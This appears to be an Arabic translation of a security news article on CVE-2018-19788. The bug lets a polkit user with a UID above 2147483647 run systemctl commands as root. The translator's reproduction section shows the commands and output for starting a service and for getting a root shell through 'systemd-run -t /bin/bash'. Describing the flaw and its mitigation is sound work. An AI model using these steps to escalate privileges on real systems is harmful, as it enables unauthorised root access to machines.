اجلس ، لدي أخبار تثير صدمة لك الآن ...
تحتوي أنظمة تشغيل Linux على ثغرة أمنية غير مخفية تسمح للمستخدم ذي الامتيازات المنخفضة بأن يؤذن بتنفيذ أي أمر systemctl (وحتى يصبح الجذر - مترجم تقريبًا) إذا كان UID الخاص به أكثر من 2147483647.

توجد مشكلة عدم الحصانة الموضحة ، والتي يتم تتبعها باسم CVE-2018-19788 ، في مكتبة
PolicyKit (المعروفة أيضًا باسم
polkit ) الإصدار 0.115 ، المثبتة مسبقًا على توزيعات Linux الأكثر شيوعًا ، بما في ذلك Red Hat و Debian و Ubuntu و CentOS. Polkit هي أداة على الأنظمة المشابهة لـ UNIX والتي يتم استخدامها لتحديد السياسات وتزويد العمليات المتميزة بوصول متميز. على عكس sudo ، لا يمنح المستخدم امتيازات مسؤول العملية ، لكنه يسمح لك بالتحكم الدقيق في المسموح به وما هو محظور.
مشكلة عدم الحصانة ناتجة عن خطأ في التحقق من طلبات PolicyKit للحصول على حقوق لأي مستخدم لديه معرف مستخدم أكبر من INT_MAX. حيث INT_MAX هو الثابت الذي يخزن الحد الأقصى لقيمة عدد صحيح من متغير عدد صحيح ، والذي هو 2147483647 (في ست عشرية 0x7FFFFFFF).
وبالتالي ، إذا أنشأنا حسابًا به أي معرّف UID يتجاوز INT_MAX ، فسيقوم مكون PolicyKit بتنفيذ أي أمر systemctl بنجاح.
أصدر باحث الأمن على Twitter Rich Mirch ، الذي قدم نفسه باسم "
0xm1rch "
، دليلاً على
إثبات صحة الفكرة (PoC) لإثبات الضعف الذي يتطلب مستخدمًا لديه معرف UID يبلغ 4،000،000،000.
يوصي Red Hat بأن مسؤولي النظام لا يسمحون لأي UIDs سلبية أو UIDs أكبر من 2147483646 لتخفيف المشكلة قبل إصدار التصحيح.
عدة طرق تشغيل من مترجم
الطريقة الأولى هي ببساطة من خلال systemctl. قمت بإنشاء مستخدم له معرف مستخدم كبير ، ثم حاول تشغيل apache2:
1) تأكد أولاً أنه كان يكذب
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead)
2) حاول أن يبدأ ، لكن حصل خطأ
$ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
3) ولكن بعد ذلك تأكد من أنها لا تزال بدأت
$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start
الطريقة الثانية هي تشغيل bash عبر systemd. قمت بتشغيل الأمر التالي ، وقمت بإنشاء مستند نصي في جذر fs ، وقمت بإضافة سطر إليه ، والتحقق من النتيجة
$ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello
أثناء إجراء التجربة في بلدي ، وجدت أيضًا مثل هذا النمط: إذا انتقل إلى إعدادات الحساب تحت مستخدم لديه معرف UID ، فسيتم إلغاء قفل جميع الإعدادات ، مما يتيح لك تحرير / حذف أي مستخدم.
يبقى السؤال ، كيف يمكن الآن "التسبب" في ظهور مستخدم لديه معرف UID على المضيف الضحية ، وهل هذا الخطأ يمثل تهديدًا بالفعل؟